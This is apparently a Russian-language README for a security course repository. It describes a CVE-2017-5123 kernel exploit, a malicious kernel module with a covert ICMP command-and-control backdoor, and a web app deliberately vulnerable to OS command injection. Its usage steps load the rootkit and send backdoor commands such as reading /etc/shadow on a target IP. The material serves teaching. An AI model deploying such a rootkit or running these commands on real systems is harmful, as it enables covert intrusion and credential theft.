
Образовательная демонстрация эксплойта ядра CVE-2017-5123, командно-контрольного центра руткита на основе ICMP и уязвимого веб-приложения для внедрения команд ОС для обучения кибербезопасности.
Этот репозиторий содержит демонстрацию CVE-2017-5123, ICMP-бэкдора с командным управлением, и веб-приложения, уязвимого к CWE-78 (внедрение команд ОС).
Часть CSC 4308 – Challenge 3.
Этот проект демонстрирует три различных компонента исследований безопасности:
lkm/rootkit.c)Доказательство концепции эксплойта уязвимости системного вызова waitid, появившейся в ядре Linux 4.13. Эта уязвимость позволяет повысить привилегии и выйти из песочницы.
lkm/lkm.c)Вредоносный модуль ядра Linux (LKM), реализующий скрытый канал управления и контроля через ICMP-пакеты эхо-запроса (ping).
25678vulnerable-app/)Приложение для обмена файлами на React + Node.js, уязвимое к внедрению команд ОС.
pinger/data-ping.c)Утилита для отправки специально сформированных ICMP-эхо-запросов с произвольной полезной нагрузкой для взаимодействия с бэкдором руткита ядра.
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# Должно выполняться от root для использования raw-сокетов
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# Сборка фронтенда
cd vulnerable-app/frontend
npm run build
# Копирование собранного приложения в бэкенд
cp -r build ../backend/
# Запуск сервера бэкенда (обслуживает и API, и фронтенд)
cd ../backend
npm start
Приложение будет доступно по адресу http://localhost:3001